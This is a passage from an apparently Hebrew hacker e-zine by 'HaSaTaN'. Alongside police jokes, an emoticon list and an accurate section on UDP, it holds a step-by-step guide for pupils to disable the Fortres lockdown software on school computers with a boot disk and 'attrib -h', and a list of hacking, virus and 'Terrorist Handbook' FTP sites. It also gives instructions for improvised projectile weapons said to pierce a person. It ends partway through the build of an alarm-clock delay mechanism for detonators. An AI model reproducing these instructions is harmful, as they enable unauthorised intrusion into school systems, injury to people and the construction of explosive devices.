‫האקדח שלך הוא ‪ 9‬מילימטר? חכה שתראה את המגנום ‪ 44‬שלי‪.‬‬

‫בטח נסעת על ‪ 160‬קמ"ש כדי לעצור אותי‪ .‬כל הכבוד!‬

‫‪336‬‬
‫אתה לבד? איפה השוטר שקורא?‬

‫מצטער‪ ,‬לא ידעתי שגלאי הראדאר שלי אינו מחובר‪.‬‬

‫גם אני רציתי להיות שוטר‪ ,‬אך בסוף החלטתי שעדיף לעבור את בחינות הבגרות‪.‬‬

‫חשבתי שצריך להיות בכושר גופני טוב כדי להיות שוטר‪.‬‬

‫אתה שואל למה נסעתי כל כך מוזר? טוב‪ ,‬כשהתכופפתי להרים את שקית החשיש שלי האקדח‬
‫נפל לי מהנרתיק ונתקע בין דוושת הבלם לדוושת הגז‪ ,‬וזה גרם לי לאבד שליטה במכונית‪.‬‬

‫חחח‪*( ....‬צוחק*)!‬

‫‪HaSaTaN‬‬

‫סמיילים‬
‫פרצוף מחיך‪/‬שמח‬ ‫(‪:-‬‬
‫פרצוף מתבדח(אירוניה)‬ ‫(‪;-‬‬
‫פרצוף עצוב‪/‬אומלל‬ ‫)‪:-‬‬
‫ספק‬ ‫‪:-/‬‬
‫חיוך מרושע‬ ‫<‪:-‬‬
‫זקן‬ ‫=(<‪:‬‬
‫שפם‬ ‫}‪:-‬‬
‫צועק‪/‬המום‬ ‫‪:-o‬‬
‫שפתיים חתומות‪/‬משתמש בעל "גשר"‬ ‫‪:-#‬‬

‫‪337‬‬
‫לשון בלחי‬ ‫‪:-j‬‬
‫מדבר בפה מלא‬ ‫‪:-8‬‬
‫שיער מתולתל‬ ‫(‪&:-‬‬
‫משקפי שמש‬ ‫(‪B-‬‬
‫משקפי שמש על הראש‬ ‫(‪B:-‬‬
‫עצוב מאוד‬ ‫)‪):-‬‬
‫נשיקה רטובה גדולה‬ ‫‪:-X‬‬
‫מורת רוח‬ ‫]‪:-‬‬
‫מרגש‬ ‫‪:^D‬‬
‫לשון קטנה בחוץ‬ ‫‪:-r‬‬
‫לשון גדולה בחוץ‬ ‫‪:-p‬‬
‫סמיילי רישמי עם עניבת פרפר‬ ‫‪:-(X‬‬
‫זמר רוק ‪ /‬פנקיסט‬ ‫(‪=:-‬‬
‫אשף מטבח‬ ‫(‪C=:-‬‬
‫מעשן‬ ‫‪:-Q‬‬
‫מעשן מקטרת‬ ‫?‪:-‬‬
‫העישון אסור‬ ‫!‪:/‬‬
‫בור(אהבל)‬ ‫|‪>:-‬‬
‫צורח‪/‬המום מאוד‬ ‫‪:O‬‬
‫אשה בטיפוך שיער(נראה לי שקוראים לזה רולים)‬ ‫(‪%:-‬‬
‫ערבי‪/‬הודי‬ ‫(‪+X:-‬‬
‫קובע מצחיה הפוך‬ ‫(‪q:-‬‬
‫מגבעת‬ ‫(‪:-‬ן ‪c‬‬
‫מבולבל‬ ‫‪:-S‬‬
‫שורק‬ ‫‪:-3‬‬
‫חושב‬ ‫ז‪:-‬‬
‫חד עין(יש לזה איזה שם ביונית משהו מסובך‪)...‬‬ ‫(‪o-‬‬
‫פרצוף זועם‬ ‫>‪>:-‬‬
‫חסר הבעה‬ ‫‪:-I‬‬
‫פרצוף מדוקא‬ ‫‪:-c‬‬
‫פרצוף ישן‬ ‫(‪I-‬‬
‫פרצוף מפהק‬ ‫‪O-I‬‬
‫מזיל ריר‬ ‫~(‪:-‬‬
‫משהו חמוץ‪/‬מר‬ ‫*‪:-‬‬
‫מוטציה‬ ‫‪:-:‬‬
‫צורח בקול‬ ‫@‪:-‬‬
‫ערפד‬ ‫]‪:-‬‬
‫תיפש‬ ‫[‪:-‬‬
‫שפם(‪)1‬‬ ‫‪:-#I‬‬
‫שפם(‪)2‬‬ ‫}‪:-‬‬
‫שפם(‪)3‬‬ ‫(!‪:-‬‬
‫שפם ופה‬ ‫(}‪:-‬‬
‫מלקק שפתיים‬ ‫‪:-9‬‬
‫צוחק‬ ‫‪:-D‬‬
‫מאוכזב‬ ‫‪:-e‬‬
‫קשקשן‬ ‫‪:-v‬‬
‫מרכיב משקפיים‬ ‫(‪8-‬‬
‫פרצוף עם ‪ 2‬אפים‬ ‫(=‪:‬‬
‫פרצוף עם אף גדול‬ ‫(<‪:‬‬
‫פרצוף עם אף שבור‬ ‫(^‪:‬‬
‫פרצוף זקוק לניתוח אף ‪(*/‬חחח‪/*)......‬‬ ‫(~‪:‬‬
‫פרצוף פוזל ‪ */‬אדיררררררררררררר!!!*‪/‬‬ ‫(‪%-‬‬

‫‪338‬‬
‫זקוק לתספורת‬ ‫(‪)-‬‬
‫ראש ביצה ‪(*/‬קלימרו‪/*)....‬‬ ‫‪):I‬‬
‫צוללן‬ ‫(‪(8-‬‬
‫פרצוף עם עין אחת שמציקים לו בעין ‪(*/‬פיגור שכלי!!!)*‪/‬‬ ‫)‪*-‬‬
‫פרצוף סנטה קלאוס‪/‬חייל רומי ‪(*/‬זה מדרדר מרגע לרגע!!!)*‪/‬‬ ‫(‪*>I:-‬‬
‫(‪+-):-‬האפיור ‪*/‬די אני כבר לא יכול יותר!!!!אני עייף והדברים האלה גורמים לי להקרע‬
‫מצחוק(כשעיפים‪)...‬‬
‫מיסטר טי‬ ‫(‪-:-‬‬
‫טורבן‬ ‫(‪@:-‬‬
‫מאזין לווקמן‬ ‫(‪]:-‬‬
‫מסיכת צלילה‬ ‫(‪O-‬‬
‫מוות‬ ‫‪8-#‬‬
‫מלאך המוות‬ ‫‪<8-#‬‬
‫פאה‬ ‫(‪}):-‬‬
‫פאה ביום סוער ‪(*/‬מה?!?!?!?!?!?!?!?!?!!)*‪/‬‬ ‫(‪{):-‬‬
‫שביל באמצע‬ ‫(‪}:-‬‬

‫‪*/‬הדבר הכי יפה!!!!!!!*‪/‬‬


‫ורד‬ ‫@‪-'-,--‬‬

‫שטן‬ ‫<‪<:-‬‬
‫מלאך‬ ‫(‪O~:-‬‬

‫‪HaSaTaN‬‬

‫פריצה ל ‪Fortres‬‬
‫היי חברה‪ ,‬מה קורה?‬
‫כפי שהבנתי ‪ -‬זה וג המדריכים שאתם אוהבים ‪ -‬אז הפעם‪ ,‬מיוחד לחופש (כדי שתוכלו לחזור‬
‫לבי"ס‪ -‬ולהרוס הכל‪ )...‬הוצאתי את הכתבה הזאת ‪ -‬שמסבירה איך לפרוץ מערכת שנקראת‪:‬‬
‫‪( Fortres x.x‬כל הגרסאות)‪.‬‬
‫אז ככה‪ ,‬אם אתם לא גרים בשכונת עוני ‪ -‬קרוב לוודאי שיש בבי"ס שלכם מחשבים‪ ,‬מה שיכול‬
‫להפתיע אותכם ‪ -‬זה‪ ,‬שבד"כ המחשבים האלה טובים מאוד‪ ,‬מעבדים ברמה וכו'!‬

‫‪339‬‬
‫הבעיה היא ‪ -‬שהדבר היחיד שאתם יכולים לעשות איתם זה לשחק סוליטר ולעבוד ‪ ,Word -‬כל‬
‫הזבל כל הכסף שהשקיעו במחשבים רק בשביל זה‪ ,‬זה לא בזבוז?‬
‫לא!‬
‫אז ככה‪ ,‬השרת שלכם (השרת בן‪-‬אדם‪ ,‬לא המחשב) שהוא ה‪( Sys-Admin -‬מנהל הרשת)‪,‬‬
‫פשוט עבר על כל מחשב והתקין את התוכנה‪ ,Fortres :‬התוכנה הזאת ‪ -‬כפי שהסברתי ‪-‬‬
‫מאפשרת לכם לעשות כלום (!) על המחשב‪ ,‬רק מעבד תמלילים וסוליטר‪...‬‬
‫מה עושים????‬

‫טוב‪ ,‬אז הנה כמה חורי אבטחה בתוכנה הזאת‪ ,‬כל מה שצריך לעשות ‪ -‬זה לעשות מה שכתוב ‪-‬‬
‫צעד אחר צעד‪:‬‬

‫א‪ .‬לך לבית שלך‪ ,‬ותכין דיסק ‪( Boot‬אם אתה לא יודע מה זה ‪ Boot‬אתה בצרה גדולה)‬
‫ב‪ .‬תביא את הדיסקט עם ה‪ Boot -‬לבי"ס (יש לדאוג שהוא יהיה נקי משטויות‪ ,‬שיהיה עליו רק‬
‫‪.)Boot‬‬
‫ג‪ .‬לך לחדר מחשבים (כאילו‪ ,‬דא‪)...‬‬
‫ד‪ .‬תכניס את הדיסקט‬
‫ה‪ .‬תפעיל את המחשב‬
‫ו‪ .‬אם ה‪ Boot -‬עולה אוטומתי ‪ -‬עבור ל‪' -‬ז'‪ ,‬אם לא ‪ -‬תצטרך לעשות את זה דרך ה‪( Bios -‬יש‬
‫לי‬
‫כתבה על ‪ Bios‬באחד הגיליונות‪ ,‬מפורט שם איך לעשות את זה)‪.‬‬
‫ז‪ .‬אוקי‪ ,‬עכשיו הקטע הכיף (יותר כיף)‪...‬‬
‫ח‪ .‬תלחצו במצב ‪:Dos‬‬
‫‪*.* attrib -h‬‬
‫(*תישרו לשמאל*)‬
‫ט‪ .‬ת'חפשו את התיקייה של ה‪ Fortres -‬ופשוט תמחקו אותה!‬
‫י‪ .‬תהרסו הכל‪ ,‬תגלשו באינטרנט תשחקו ‪ quick‬מה שבא לכם!‬

‫השיטה הבאה‪ ,‬כמובן שהיא יותר קלה‪ ,‬אבל אני לא בטוח שהיא תעבוד אצליכם (לא משנה‬
‫למה)‪.‬‬
‫אז ככה‪ ,‬כנסו לאקספלורר (אם אין לכם‪ ,‬אז זה אבוד)‪ ,‬ובמקום ללחוץ כתובת של אתר תלחצו‪:‬‬
‫‪ /:c‬אם זה פותח לכם באקספלורר את כונן ‪ C‬זה כבר טוב!‬
‫לכו ל‪ :‬תצוגה << אפשרויות תיקייה << (כרטיסיית) תצוגה << הצג את כל הקבצים‪.‬‬
‫או באנגלית‪view>folder options>view>Hidden files and folders>Show hidden files :‬‬
‫‪and folders‬‬

‫עכשיו אמורה להיות לכם גישה גם לתיקייה של‪!Fortres :‬‬


‫\*מקסימום אם זה לא עובד תשתמשו שיטה "א"‪ ,‬היא יותר בטוחה ובטוח עובדת (!!!) *\‬
‫‪HaSaTaN‬‬

‫‪U-D-P‬‬
‫תמיד שאלתם את עצמיכם איך עובדת הרשת בבי"ס שלכם‪ ,‬הנה התשובה‪:‬‬

‫תוכן‪:‬‬
‫א‪ .‬הקדמה והסבר קצר ל‪UDP -‬‬
‫ב‪ .‬כשהחבילה (‪ )Packet‬מגיעה‪...‬‬
‫ג‪ .‬ה‪ IP -‬וה‪ UDP -‬כשילוב מנצח!‬

‫‪340‬‬
‫*הערה*‬

‫כשכתוב "‪ "IP‬הכוונה היא ל‪:‬‬


‫פרוקטוקול ה‪ ,IP -‬ולא ל‪:‬‬
‫מספר ‪ IP‬כלשהו‪.‬‬

‫**‬

‫*‬
‫א‪.‬‬

‫‪ UDP‬מספק את אותו שירות בלתי מהימן וחסר קישור שמספק ‪ .IP‬הוא אינו מוסיף דבר מלבד‬
‫מספרי הפורטים‪ ,‬ו‪-‬‬
‫‪ .checksum‬ה‪ checksum -‬מבטיח שחבילות שנתוניהן הושחתו או שונו לא יטופלו‪ UDP .‬לא‬
‫מודיע על כך שחבילות אבדו‪ ,‬או על כל בעיה אחרת בתקשורת‪ .‬לכן‪ ,‬אפליקציה שבוחרת‬
‫להשתמש ב‪ UDP -‬כפרוטוקול התעבורה שלה‪ ,‬צריכה לדאוג בעצמה למהימנות התקשורת‪,‬‬
‫ולהבטיח שבעיות בתקשורת‪ ,‬כמו כפילות נתונים או אובדן נתונים‪ ,‬יטופלו כהלכה‪.‬‬

‫*‬
‫ב‪.‬‬

‫כאשר החבילה מגיעה למחשב היעד‪ ,‬היא עוברת את התהליך ההפוך‪ :‬החבילה מתקבלת על ידי‬
‫שכבת ממשק הרשת‪ ,‬ה"מקלפת" ממנה את פתיח הרשת; משם עוברת החבילה לשכבת ה‪,IP -‬‬
‫שמקלפת את פתיח ה‪ ,IP -‬ולפי הפרוטוקול שמצוין שם יודעת להעביר את החבילה ל‪UDP.-‬‬
‫‪ ,UDP‬בתורו‪ ,‬מקלף את פתיח ה‪ ,UDP-‬ולפי הפרוט שמצוין שם‪ ,‬יודע לאיזו אפליקציה להעביר‬
‫את הנתונים‪.‬‬
‫מודל השכבות קובע אי תלות בין השכבות השונות‪ .‬אבל‪ ,‬כפי שראינו‪ UDP ,‬מסתמך על כתובות‬
‫ה‪ IP-‬לחישוב ה‪ .UDP checksum -‬כדי לדעת מהי כתובת ה‪ IP-‬של המקור‪ ,‬על שכבת ה‪-‬‬
‫‪ UDP‬לתקשר עם שכבת ה‪ .IP-‬שכבת ה‪ UDP-‬לא יכולה לדעת מה תהיה כתובת המקור של‬
‫החבילה‪ ,‬כיוון שזו תלויה בממשק הרשת דרכו תבחר שכבת ה‪ IP-‬לשלוח את החבילה (כיוון‬
‫שכפי שראינו‪ ,‬למחשב אחד יכולים להיות כמה ממשקי רשת)‪ .‬אינטראקציה זו בין ‪ UDP‬ל‪IP -‬‬
‫אמנם עומדת בסתירה להפרדה העומדת בבסיס מודל השכבות‪ ,‬אך משיקולים פרקטיים‪,‬‬
‫החליטו הוגי הפרוטוקול להעלים מכך עין‪.‬‬

‫**‬

‫*‬
‫ג‪.‬‬

‫ראינו קודם ש‪ UDP-‬מבחין בין מקורות ויעדים שונים על גבי אותו מחשב‪ ,‬על ידי שימוש‬
‫בפורטים‪ .‬אפליקציה המעונינת לשלוח נתונים ברשת‪ ,‬מספקת לשכבת ה‪ UDP-‬את מספר‬

‫‪341‬‬
‫הפורט שלה‪ ,‬ואת מספר הפורט איתו היא מעונינת לתקשר (במחשב המרוחק כמובן)‪UDP .‬‬
‫מקבל נתונים מאפליקציות רבות‪ ,‬שלכל אחת מהן מספר פורט שונה‪ ,‬ומעביר אותם בנפרד‬
‫לשכבת ה‪ .IP -‬בכיוון ההפוך‪ ,‬שכבת ה‪ IP-‬מעבירה את ההודעות הנכנסות לשכבת ה‪,UDP-‬‬
‫שמחלקת אותן לאפליקציות המתאימות‪ ,‬לפי מספרי פורט היעד המצוינים בהן‪ .‬כך‪ ,‬שכבת ה‪-‬‬
‫‪ UDP‬משמשת למעשה כמרבב (‪ ,)multiplexor‬המאחד זרמים נפרדים של הודעות‬
‫מאפליקציות שונות לזרם אחד ויחיד העובר לשכבת ה‪ ,IP -‬וכמפרד (‪,)de-multiplexor‬‬
‫המפריד בין ההודעות המגיעות משכבת ה‪ IP-‬לזרמים שונים‪ ,‬לפי מספרי הפורט אליהן מיועדות‬
‫ההודעות השונות‪.‬‬
‫כאשר אפליקציה מעונינת לתקשר עם אפליקציה אחרת‪ ,‬במחשב מרוחק‪ ,‬עליה לדעת מה מספר‬
‫הפורט עליו יושבת האפליקציה המבוקשת‪ .‬לכן‪ ,‬ישנה רשימה של פורטים מוגדרים מראש‪,‬‬
‫שהאפליקציה יודעת מהם‪ .‬למשל‪ ,‬בקשת ‪ DNS‬תשלח לפורט ‪ ,53‬ואילו הודעת ‪ tftp‬תשלח‬
‫לפורט ‪.69‬‬

‫‪HaSaTaN‬‬

‫‪342‬‬
‫ אם פול טקסטים(באנגלית) ותוכנות‬FTP ‫שרתי‬
the FTP adress: directories: name of site (magazine etc..):

N 2600.com (2600 Magazine)


N ads112.rh.psu.edu (Logical Nonsense)
aeneas.mit.edu (Kerberos)
alex.sp.cs.cmu.edu /links/security (Misc)
aql.gatech.edu /pub (40Hex)
U asylum.sf.ca.us (CyberWarriors of
Xanadu)
athena-dist.mit.edu /pub/ATHENA (Athena Project)
U atlantis.utmb.edu (Anti-virus)
bellcore.com (Bellcore)
camelot.usc.edu /pub/cellular/DDIinfodemo (Cellular)
cert.org (CERT)
ciac.llnl.gov (CIAC)
U clark.net /pub/jcase (H/P)
N cnit.nsk.su /pub/unix/security (Security)
coast.cs.purdue.edu /pub (Security/COAST)
N coombs.anu.edu.au /pub/security (Security)
csrc.ncsl.nist.gov (NIST Security)
dartmouth.edu /pub/security (Security)
U ds.internic.net (Internet
documents)
N etext.archive.umich.edu /pub/Zines/PrivateLine (PrivateLine)
ftp.3com.com /pub/Orange-Book (Orange Book)
U ftp.acns.nwu.edu /pub (Mac Anti-virus)
N ftp.acsu.buffalo.edu /pub/security & /pub/irc (Security & IRC)
U ftp.alantec.com /pub/tcpr (Tcpr)
ftp.armory.com /pub/user/kmartind (H/P)
ftp.armory.com /pub/user/swallow (H/P)
N ftp.auscert.org.au /pub (Australian CERT)
N ftp.cerf.net /pub/software/unix/security (CERFnet)
ftp.cert.dfn.de (FIRST)
U ftp.cisco.com (Cisco)
ftp.commerce.net /pubs/standards/drafts/shttp.txt(Secure HyperText)
ftp.cs.colorado.edu
N ftp.cs.ruu.nl /pub/SECURITY (Security & PGP)
ftp.cs.uwm.edu /pub/comp-privacy (Privacy Digest)
ftp.cs.vu.nl
ftp.cs.yale.edu
N ftp.csi.forth.gr /pub/security
ftp.csl.sri.com /pub/nides (SRI)
N ftp.csn.org /mpj (Cryptology)
ftp.csua.berkeley.edu /pub/cypherpunks (Crypto)

343
ftp.delmarva.com
N ftp.denet.dk /pub/security/tools/satan
N ftp.digex.net /pub/access/dunk
ftp.dsi.unimi.it
N ftp.dstc.edu.au /pub/security/satan
ftp.ee.lbl.gov
ftp.eff.org /pub/Publications/CuD (EFF)
ftp.elelab.nsc.co.jp /pub/security (Security)
ftp.etext.org (Etext)
N ftp.fc.net /pub/deadkat (TNO)
ftp.fc.net /pub/defcon (DefCon)
ftp.fc.net /pub/defcon/BBEEP (BlueBeep)
U ftp.fc.net /pub/phrack (Phrack)
ftp.foobar.com
U ftp.funet.fi /pub/doc/CuD
ftp.gate.net /pub/users/laura
ftp.gate.net /pub/users/wakko
N ftp.giga.or.at /pub/hacker/ (H/P)
ftp.greatcircle.com /pub/firewalls (Firewalls)
ftp.IEunet.ie /pub/security (Security)
ftp.ifi.uio.no
N ftp.indirect.com /www/evildawg/public_access/C&N/
ftp.info.fundp.ac.be
ftp.informatik.uni-hamburg.de
N ftp.informatik.uni-kiel.de /pub/sources/security
ftp.inoc.dl.nec.com /pub/security (Security)
N ftp.io.org /pub/users/gmouser
ftp.isi.edu
U ftp.lava.net /users/oracle/ (H/P
N ftp.lerc.nasa.gov /security
ftp.llnl.gov /pub (CIAC)
N ftp.luth.se /pub/unix/security
ftp.lysator.liu.se
N ftp.mcs.anl.gov /pub/security
ftp.microserve.net /ppp-pop/strata/mac (Mac)
ftp.near.net /security/archives/phrack (Zines)
ftp.nec.com
N ftp.net.ohio-state.edu /pub/security/satan
ftp.netcom.com /pub/br/bradleym (Virii)
ftp.netcom.com /pub/da/daemon9 (H/P)
N ftp.netcom.com /pub/fi/filbert
N ftp.netcom.com /pub/le/lewiz (Social
Engineering)
ftp.netcom.com /pub/va/vandal (DnA)
N ftp.netcom.com /pub/wt/wtech/
ftp.netcom.com /pub/zz/zzyzx (H/P)
ftp.netsys.com
ftp.ocs.mq.edu.au /PC/Crypt (Cryptology)
N ftp.ox.ac.uk /pub/comp/security
N ftp.ox.ac.uk /pub/crypto (Cryptology)

344
N ftp.ox.ac.uk /pub/wordlists (Wordlists)
ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc)
ftp.pop.psu.edu
N ftp.primenet.com /users/i/insphrk
N ftp.primenet.com /users/k/kludge (H/P)
N ftp.primenet.com /users/s/scuzzy (Copy Protection)
ftp.primus.com /pub/security (Security)
ftp.psy.uq.oz.au
N ftp.psy.uq.oz.au /pub/DES
N ftp.rahul.net /pub/conquest/DeadelviS/script/vms/
ftp.rahul.net /pub/lps (Home of the FAQ)
ftp.sert.edu.au
ftp.sgi.com
ftp.std.com /archives/alt.locksmithing (Locksmithing)
ftp.std.com /obi/Mischief/ (MIT Guide to
Locks)
ftp.std.com /obi/Phracks (Zines)
N ftp.std.com /pub/joeshmoe (AOHELL)
ftp.sunet.se /pub/network/monitoring (Ethernet sniffers)
ftp.sura.net /pub/security (SURAnet)
ftp.technet.sg
ftp.tis.com /pub (TIS)
N ftp.tisl.ukans.edu /pub/security
U ftp.uni-koeln.de. (Wordlists)
ftp.uspto.gov
ftp.uu.net /doc/literary/obi/Phracks (Zines)
U ftp.uwp.edu /pub/dos/romulus/cracks (Copy Protection)
ftp.vis.colostate.edu
ftp.vix.com
ftp.vortex.com
ftp.warwick.ac.uk /pub/cud (Zines)
N ftp.wi.leidenuniv.nl /pub/security
ftp.win.tue.nl /pub/security (Security)
N ftp.winternet.com /users/nitehwk (H/P)
ftp.wustl.edu /doc/EFF (EFF)
U ftp.zoom.com
N ftp.zrz.tu-berlin.de/pub/security/virus/texts/crypto (Cryptology)
garbo.uwasa.fi /pc/crypt (Cryptology)
N gti.net /pub/safetynet
gumby.dsd.trw.com
hack-this.pc.cc.cmu.edu (Down for Summer)
N heffer.lab.csuchico.edu (Third Stone From The Sun)
hplyot.obspm.fr
info.mcs.anl.gov
jerico.usc.edu
U invircible.com /mcsnet.users/crisadm (Virii)
l0pht.com (The L0pht)
lcs.mit.edu /telecom-archives (Telecom archives)
lod.amaranth.com (Legion of Doom)
mac.archive.umich.edu

345
mary.iia.org /pub/users/patriot (Misc)
monet.ccs.itd.umich.edu
net.tamu.edu /pub/security/TAMU (Security)
net23.com /pub (Max Headroom)
nic.ddn.mil /scc (DDN Security)
N nic.sura.net /security
N oak.oakland.edu /pub/hamradio (Ham Radio)
N oak.oakland.edu /SimTel/msdos/sound (DTMF decoders)
N oak.oakland.edu /SimTel/msdos/sysutil (BIOS attackers)
paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics (Pyro)
parcftp.xerox.com
N prism.nmt.edu /pub/misc (Terrorist
Handbook)
pyrite.rutgers.edu /pub/security (Security)
relay.cs.toronto.edu /doc/telecom-archives (Telecom)
rena.dit.co.jp /pub/security (Security)
research.att.com /dist/internet_security (AT&T)
ripem.msu.edu /pub/crypt (Ripem)
rtfm.mit.edu (Etext)
rtfm.mit.edu /pub/usenet-by-group (Usenet FAQ's)
sable.ox.ac.uk (Wordlists)
scss3.cl.msu.edu /pub/crypt (Cryptology)
sierra.stanford.edu
spy.org (CSC)
suburbia.apana.org.au /pub/unix/security (Security)
sunsolve1.sun.com
tam.cs.ucdavis.edu
technion.ac.il
theta.iis.u-tokyo.ac.jp /pub1/security (Security)
titania.mathematik.uni-ulm.de /pub/security (Security)
toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA)
ugle.unit.no
N unipc20.unimed.sintef.no
vic.cc.purdue.edu
N vixen.cso.uiuc.edu /security
whacked.l0pht.com (Mac + H/P)
wimsey.bc.ca /pub/crypto (Cryptology)

HaSaTaN

346
‫רוגטקה רגילה‬
‫הרוגטקה הכי פשוטה שכל אידיוט יודע לבנות‪....‬‬

‫חומרים‪:‬‬

‫* חתיכת עץ בצות האות ‪. Y‬‬

‫* גומיה חזקה ביותר‪.‬‬

‫* חוט ברזל עבה‪.‬‬

‫* קאטר‪.‬‬

‫הוראות הכנה‪:‬‬

‫קחו את הגומיה וחיתכו אותה ככה שהיא לא תהיה סגורה אלא תהיה פס אחד ארוך עם סוף‬
‫והתחלה‪.‬‬

‫לאחר מכן קחו את חתיכת העץ בצורת האות ‪ Y‬וחברו לכל אחד מהקצוות העליונות של חתיכת‬
‫העץ צד אחר של הגומיה‪ .‬עכשיו שימו לב שתוכלו למתוח אותה ולירות איתה את חוטי הברזל‪.‬‬

‫עכשיו לבסוף אנחנו צריכים ליצור את הכדורים לירי לא?‬

‫אז איך אנחנו יוצרים אותם!? פשוט! ‪-‬‬


‫אנחנו חותכים את חוט הברזל לאורך של שלושים סנטימטר בעזרת הקאטר ואז חותכים חתיכות‬
‫באורך שתיים עד שלוש סנטימטר כל אחת‪.‬‬

‫לבסוף כל חתיכה אנחנו מעקמים לחצי ככה שהיא תראה כמו ראש חץ קטן‪ .‬לאחר מכן אנחו‬
‫מלבישים את החתיכות על הגומיה ‪ ,‬מושכים ואז עוזבים‪.‬‬

‫זהירות לא לכוון לאיזור הפנים ‪ -‬זה מוציא עיניים בקצב וזה גם נורא כואב ומסוכן בכל מקום‬
‫אחר שזה פוגע‪.‬‬
‫טפו טפו‬
‫טפו טפו פשוט וטפשי כדי להעביר שעורים (עכשיו זה חופש אז תוכלו להתאמן על המיומנות‬
‫שלכם בכלי)‪.‬‬

‫חומרים‪:‬‬

‫* טוש שכבר לא צריכים‪.‬‬

‫* נייר מחברות‪.‬‬

‫* מספריים‪.‬‬
‫הוראות הכנה‪:‬‬

‫קחו את הטוש והוציאו לו את החלק האחורי ואת המילוי שלו ‪ ,‬אם היה לכם קשה בעזרת‬
‫הידיים אז שתדעו לכם שבשביל זה יש מספריים‪.‬‬
‫לאחר מכן קחו נייר ותערבבו אותו עם מעט מים ככה שיהיה סמיך ואז תכניסו אותו לקצה‬
‫ותנשפו חזק‪ .‬לאחר מכן הנייר יעוף החוצה בגלל לחץ האוויר שנאסף בטוש‪.‬‬

‫ושבסוף ייצא החוצה בחוזקה והעיף את הנייר רחוק‪( .‬אל תדאגו זה בכלל לא כואב אבל בכל זאת‬
‫אל תכוונו לעיניים!!!)‪.‬‬
‫‪Golgolet & HaSaTaN‬‬

‫‪347‬‬
‫מקלע טוש‬
‫מקלע שהמצאתי שהוא נורא חזק ומסוכן‪ .‬בנוי על עיקרון הטפו טפו והרוגטקה‪.‬‬
‫חומרים‪:‬‬
‫* טוש חזק (עדיף כמה שיותר עבה)‪.‬‬
‫* גומיה חזקה נורא‪.‬‬
‫* שיפודים‪.‬‬
‫* מספריים‪/‬סכין‪.‬‬

‫הוראות ההכנה‪:‬‬
‫קחו את הטוש והוציאו ממנו את החלק האחורי שחוסם את המילוי ואת המילוי‪ ,‬לאחר מכן עשו‬
‫שני חורים בטוש שיהיו לא גדולים ממש ושיהיו בדיוק אחד מול השני‪.‬‬

‫על החורים חובה להיות החלק האחורי של הטוש‪ .‬עכשיו‪ ,‬קחו את הגומיה וגזרו אותה ככה‬
‫שתיהפך לפס ארוך ואז תשחילו אותה בחורים ותקשרו אות שני הצדדים שלה טוב טוב ככה‬
‫שכשתמתחו אותו היא לא תצא !!!‬

‫לאחר מכן הכניסו את השיפוד דרך הפתח הקידמי הקטן ותתפסו אותו בעזרת האצבעות‪ ,‬כעת‬
‫תמשכו את המקל ואת הגומיה החזקה ביחד באותו זמן לאחור ותעזבו‪ .‬השיפוד יטוס חזק‬
‫לאללה‪ ,‬ויעשה חור במה שיהיה מולו (בתנאי שזה‪ :‬בנאדם ‪ ,‬נייר ‪,‬קלקר או כל דבר אחר שהוא‬
‫רך יחסית לשיפוד)‪.‬‬

‫מה שטוב במקלע הזה זה היציבות שהחור הקדמי נותן לו ובעקבות כך המקלע הזה גם נורא‬
‫מסוכן וגם נורא מדוייק‪.‬‬
‫גומיות למקלעים‬
‫גומיות על רמה‪:‬‬

‫הגומיות הכי על רמה שאני מכיר הם‪:‬‬

‫* פנימית של אופניים‬

‫* גומיות של משקפות‬

‫* גומיות ממקלעים של פועלים זרים מתאילנד (הכי יעילות ‪ ,‬אבל הסיכוי שתמצאו כאלה הוא‬
‫נמוך ביותר)‬

‫איפה אפשר למצוא את הגומיות‪:‬‬

‫תחפשו בבית במדפים ‪ ,‬בבוידעם ‪ ,‬במחסן‪.‬‬


‫תלכו לחנויות הספורט ותקנו משקפת או פנימית‪....‬‬

‫תלכו למקומות עבודה של פועלים זרים ותחפשו כשאין שם אף אחד‪(....‬מסוכן ‪ -‬זה נחשב כמו‬
‫פריצה למקום ולכן לא שווה לבצע את זה)‪.‬‬

‫אני נורא מקווה שנהניתם מהמאמר ושלמדתם ממנו המון ‪.‬‬

‫‪Golgolet & HaSaTaN‬‬

‫‪348‬‬
‫מנגנון השעיה לנפצים‬
‫מצרכים‪:‬‬
‫שעון מעורר עם מחוגים מהסוג הפשוט ביותר!(המרובעים והמכוערים)‬
‫מלחם(כדאי! לתוצאות טובות יותר(הרבה יותר)‪+‬בדיל‬
‫מברג קטן‪,‬גדול‪,‬בינוני‪...‬‬
‫בטריה ‪( 6-9V‬זה יוצא הכי טוב!! פחות זה לא תמיד עובד)‬
‫בית בטריות(ל ‪ 9‬זה משהו עם מחבר עגול ומחבר משושה(מתומן‪...‬אף פעם לא ספרתי))‬
‫(ל ‪ 6‬זה ‪ 4‬בטריות של ‪)1.5‬‬
‫בקיצר משהו שיש לו ‪ 2‬חוטים (‪)-,+‬שמהם‬
‫יוצא ‪6-9V‬‬
‫מנורה ‪75W‬‬
‫שקית נילון‬
‫חוט חשמל בודד קצר(‪ 10‬סנטימטר)‬
‫כדור של רובה‪/‬אקדח‪/‬תותך‪(...‬משהו דליק! אפשר גם נייר טואלט ספוג בדלק‪/‬אלקוהול אבל אז‬
‫צריך השהיה יותר‬
‫קצרה כי האלקוהול מתאדה ולא ישאר‪)!...‬‬
‫קצת שכל‪.....‬‬

‫לעבודה‬

‫קח את השעון ותפתח לו את האחורה בעדינות תזהר הרבה גלגלי שיניים יעופו תאסוף אותם‬
‫ותרקה איך הם היו‬
‫מונחים אתה תראה מעגל חשמלי עם נקודה שחורה גדולה כזאת(זה המעין ג'וק שיש במחשב‬
‫סגנון מוזר של ‪)CPU‬‬
‫זה לא מעניין אותנו יש שם כנו עמוד בצבע כסף זה הקברצ' הדבר שעושה שהשעון יתקתק הוא‬
‫רועד ועל‬
‫פי זה מזיז את השעון‪ ..‬גם זה לא מעניין אותנו יש שם גם איזה דבר עגול שחור (בד"כ) זה‬
‫הזמזם‬
‫הדבר שמעיר אותך כל בוקר לביה"ס (אם אתה רוצה להתנקם בו תלוש ושרוף אבל לא עם השעון‬
‫הזה‬
‫כי אתה צריך להכין ממנו פצצה!) את זה אנחנו צריכים!! אה ועוד משהו יש שם איזה מוט ברזל‬
‫שמתחתיו‬
‫יש מעין משהו בצבע כסף אם הם נוגעים אחד בשני הם גורמים לזמזם לזמזם(ביפ ביפ‪ ,‬ביפ‬
‫ביפ‪)...‬‬
